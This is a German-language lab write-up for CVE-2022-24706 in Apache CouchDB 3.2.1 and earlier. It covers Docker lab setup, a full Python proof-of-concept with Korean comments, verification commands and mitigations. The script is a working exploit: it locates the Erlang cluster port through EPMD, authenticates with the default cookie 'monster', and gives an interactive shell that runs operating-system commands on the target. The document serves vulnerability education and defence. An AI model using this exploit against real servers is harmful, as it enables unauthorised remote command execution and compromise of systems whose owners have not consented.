
Proof-of-concept Exploit für CVE-2022-24706, der Apache CouchDB 3.2.1 und niedriger betrifft. Demonstriert die Remotebefehlsausführung über das Erlang Distribution Protocol unter Verwendung der Standard-Cookie-Authentifizierung.
Mitwirkende
Apache CouchDB ist eine Open-Source-dokumentorientierte NoSQL-Datenbank, die in Erlang implementiert ist.
Da Apache CouchDB in Erlang entwickelt wurde, unterstützt es nativ verteiltes Rechnen (Clustering). Cluster-Knoten kommunizieren miteinander über das Erlang/OTP Distribution Protocol, und über dieses Protokoll können Betriebssystembefehle mit den Rechten des Benutzers ausgeführt werden, der CouchDB ausführt.
Um Betriebssystembefehle auszuführen, muss man die Authentifizierungszeichenfolge (Secret Phrase) kennen, die in Erlang als Cookie bezeichnet wird. In CouchDB-Versionen 3.2.1 und früher ist der Standard-Cookie-Wert bei der Installation auf monster gesetzt, und ein Angreifer, der diesen Wert kennt, kann die Authentifizierung umgehen und entfernte Betriebssystembefehle ausführen.
Quellen:
Für diese Übung wird folgende Umgebung benötigt:
Auf macOS mit Apple Silicon (M1/M2/M3) können plattformbezogene Warnungen für Images ausgegeben werden. In den meisten Fällen emuliert Docker Desktop automatisch amd64-Images, sodass keine zusätzlichen Maßnahmen erforderlich sind. Falls der Container nicht ordnungsgemäß ausgeführt wird, kann die Option platform: linux/amd64 zum couchdb-Dienst in der docker-compose.yml hinzugefügt werden.
Falls Python 3 nicht installiert ist, kann es mit dem folgenden Befehl installiert werden:
sudo apt update
sudo apt install -y python3
Führen Sie den folgenden Befehl aus, um die Apache CouchDB 3.2.1-Umgebung zu starten:
docker compose up -d
Sobald der Dienst läuft, werden auf der Ziel-IP die folgenden drei Ports geöffnet:
In der tatsächlichen Umgebung sind der Weboberflächenport (5984) und der EPMD-Dienstport (4369) festgelegt, aber der Cluster-Kommunikationsport kann bei jedem Start variieren. Daher kann auf den EPMD-Dienst zugegriffen werden, um die aktuell verwendete Cluster-Kommunikationsportnummer zu ermitteln.
Wenn Apache CouchDB ordnungsgemäß läuft, können die Versionsinformationen unter http://target-ip:5984 eingesehen werden.

Diese Schwachstelle tritt auf, wenn die folgenden Bedingungen erfüllt sind:
monster) gesetzt sein.docker compose up -d
python3 poc.py target-ip 4369
Der PoC fragt vom EPMD-Dienst die aktuell verwendete Cluster-Kommunikationsportnummer ab und führt dann die Authentifizierung über das Erlang Distribution Protocol mit dem Standard-Cookie (monster) durch.
Nach erfolgreicher Authentifizierung können Sie einen gewünschten Betriebssystembefehl eingeben, um die Remote-Befehlsausführung zu überprüfen.
#!/usr/local/bin/python3
# Python 기본 라이브러리
import socket
from hashlib import md5
import struct
import sys
import re
import time
# 대상 서버 및 기본 설정
TARGET = sys.argv[1]
EPMD_PORT = int(sys.argv[2]) # EPMD 기본 포트
COOKIE = "monster" # CouchDB 기본 Erlang Cookie
ERLNAG_PORT = 0
EPM_NAME_CMD = b"\x00\x01\x6e" # Erlang 노드 목록 요청 패킷
# Erlang 인증 및 제어 메시지
NAME_MSG = b"\x00\x15n\x00\x05\x00\x07\x49\x9cAAAAAA@AAAAAAA"
CHALLENGE_REPLY = b"\x00\x15r\x01\x02\x03\x04"
CTRL_DATA = b"\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03"
CTRL_DATA += b"\x00\x00\x00\x00\x00w\x00w\x03rex"
# 사용자가 입력한 명령을 Erlang RPC 패킷으로 변환
def compile_cmd(CMD):
MSG = b"\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00"
MSG += b"\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k"
MSG += struct.pack(">H", len(CMD))
MSG += bytes(CMD, 'ascii')
MSG += b'jw\x04user'
PAYLOAD = b'\x70' + CTRL_DATA + MSG
PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD
return PAYLOAD
print("Remote Command Execution via Erlang Distribution Protocol.\n")
# EPMD 서버에 접속하여 Erlang 노드 정보 획득
try:
epm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
epm_socket.connect((TARGET, EPMD_PORT))
except socket.error as msg:
print("Couldnt connect to EPMD: %s\n terminating program" % msg)
sys.exit(1)
# Erlang 노드 목록 요청
epm_socket.send(EPM_NAME_CMD)
# 정상 응답이면 노드 정보를 가져옴
if epm_socket.recv(4) == b'\x00\x00\x11\x11':
data = epm_socket.recv(1024)
data = data[0:len(data) - 1].decode('ascii')
data = data.split("\n")
if len(data) == 1:
choise = 1
print("Found " + data[0])
else:
print("\nMore than one node found, choose which one to use:")
line_number = 0
for line in data:
line_number += 1
print(" %d) %s" %(line_number, line))
choise = int(input("\n> "))
ERLNAG_PORT = int(re.search(r"\d+$",data[choise - 1])[0])
else:
print("Node list request error, exiting")
sys.exit(1)
epm_socket.close()
# Erlang 노드에 접속
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, ERLNAG_PORT))
except socket.error as msg:
print("Couldnt connect to Erlang server: %s\n terminating program" % msg)
sys.exit(1)
# Challenge 값 수신
s.send(NAME_MSG)
s.recv(5)
challenge = s.recv(1024)
print(challenge)
challenge = struct.unpack(">I", challenge[9:13])[0]
# Challenge 값을 이용하여 인증 정보 생성
CHALLENGE_REPLY += md5(bytes(COOKIE, "ascii")
+ bytes(str(challenge), "ascii")).digest()
# 인증 요청
s.send(CHALLENGE_REPLY)
CHALLENGE_RESPONSE = s.recv(1024)
# 인증 성공 여부 확인
if len(CHALLENGE_RESPONSE) == 0:
print("Authentication failed, exiting")
sys.exit(1)
print("Authentication successful")
print("Enter command:\n")
data_size = 0
# 사용자 명령을 입력받아 원격 CouchDB 노드에서 실행
while True:
if data_size <= 0:
CMD = input("> ")
if not CMD:
continue
elif CMD == "exit":
sys.exit(0)
s.send(compile_cmd(CMD))
data_size = struct.unpack(">I", s.recv(4))[0]
s.recv(45)
data_size -= 45
time.sleep(0.1)
elif data_size < 1024:
data = s.recv(data_size)
time.sleep(0.1)
print(data[3:].decode())
data_size = 0
else:
data = s.recv(1024)
time.sleep(0.1)
print(data[4:].decode())
data_size -= 1024
Als Ergebnis der PoC-Ausführung wird der Cluster-Kommunikationsport über den EPMD-Dienst erfolgreich ermittelt und die Authentifizierung über das Erlang Distribution Protocol wird mit der Nachricht Authentication successful bestätigt.
Anschließend kann mit dem Befehl whoami überprüft werden, ob der Befehl mit root-Rechten ausgeführt wird, und mit id können Benutzer- und Gruppeninformationen abgerufen werden. Zudem kann mit dem Befehl touch /tmp/success eine Datei success im /tmp-Verzeichnis des Zielsystems erstellt werden, und mit ls /tmp kann das Erstellen dieser Datei bestätigt werden. Dadurch kann verifiziert werden, dass der eingegebene Betriebssystembefehl tatsächlich auf dem Zielsystem ausgeführt wurde.

Nach Abschluss der Übung führen Sie den folgenden Befehl aus, um die Docker-Container und das Netzwerk zu beenden:
docker compose down
Aktualisierung auf die neueste Version
Aktualisieren Sie auf Apache CouchDB 3.2.2 oder höher, um das Problem des Standard-Erlang-Cookies zu beheben.
Änderung des Standard-Erlang-Cookies
Verwenden Sie nicht den Standard-Cookie-Wert (monster), sondern ändern Sie ihn in einen schwer zu erratenden, zufälligen Wert, um Authentifizierungsumgehung und Remote-Befehlsausführung zu verhindern.
Zugriffsbeschränkung auf EPMD- und Cluster-Kommunikationsports
Wenden Sie Firewall- oder Zugriffskontrollrichtlinien an, sodass EPMD (4369) und der Cluster-Kommunikationsport nur von vertrauenswürdigen Hosts aus zugänglich sind.
Deaktivierung unnötiger Erlang Distribution-Funktionen
In Umgebungen, die keine Cluster-Funktionen benötigen, schränken Sie die Erlang Distribution-Funktion oder den externen Zugriff auf die zugehörigen Dienste ein, um die Angriffsmöglichkeiten zu minimieren.